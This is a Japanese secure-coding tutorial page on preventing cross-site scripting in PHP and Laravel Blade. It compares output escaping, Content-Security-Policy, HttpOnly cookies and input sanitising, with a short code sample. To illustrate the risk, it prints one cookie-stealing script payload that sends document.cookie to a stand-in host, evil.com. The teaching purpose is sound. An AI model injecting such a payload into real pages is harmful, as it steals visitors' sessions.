章: 第6章: パフォーマンスとインフラ
ユーザーの入力をそのまま画面に出力していませんか?
XSS(クロスサイトスクリプティング)は、ページに悪意あるスクリプトを埋め込む攻撃で、ユーザーのCookieやセッション情報を盗まれるリスクがあります。出力時のエスケープを徹底することで根本的に防御できます。
エスケープを怠ると何が起きるか
<script>document.location='https://evil.com?c='+document.cookie</script> のような文字列がデータベースに保存され、ページに表示されると、閲覧者全員のセッションが窃取されます。これは修正が難しく、ユーザー信頼を大きく損なうインシデントです。
XSS対策の方法比較
| 対策 | 方法 | 効果 |
| 出力エスケープ | htmlspecialchars() / Blade {{ }} |
HTMLタグを無効化 |
| Content-Security-Policy | HTTPヘッダーで許可するスクリプトを制限 | 埋め込みスクリプトの実行をブロック |
| HTTPOnly Cookie | HttpOnly フラグをCookieに付与 |
JSからCookieを読めなくする |
| 入力サニタイズ | 不正な文字を除去 | 補助的対策(出力エスケープと併用) |
チェックポイント:
htmlspecialchars()を使う際は必ずENT_QUOTESと文字コードUTF-8を指定しましょう。Bladeの{{ }}はデフォルトでエスケープ済みなので安全ですが、{!! !!}を使う箇所は「信頼できるHTMLのみ」という前提を守っているか定期的にレビューしてください。
コードサンプル
<?php
// NG: ユーザー入力をそのまま出力すると危険
// echo $_GET['name'];
// OK: htmlspecialcharsでエスケープ
$name = htmlspecialchars($_GET['name'] ?? '', ENT_QUOTES, 'UTF-8');
echo $name;
// Bladeはデフォルトでエスケープ済み
// {{ $user->name }} 安全
// {!! $html !!} 未エスケープ(信頼できるHTMLのみ)
// Content-Security-Policyヘッダも有効
header("Content-Security-Policy: default-src 'self'");
まとめ & 次のステップ
- XSSは出力時のエスケープで根本的に防御できます
- Bladeの
{{ }}を使えば自動エスケープされるため、積極的に活用しましょう {!! !!}を使う箇所は必ずレビューし、ユーザー入力を渡さないことを確認しましょうContent-Security-Policyヘッダーで埋め込みスクリプトの実行を制限しましょうHttpOnlyフラグをセッションCookieに設定し、JSからのアクセスを防ぎましょう
次回は OWASP Top 10 詳解 を学びます。Webアプリの代表的な脆弱性と対策を体系的に整理しましょう。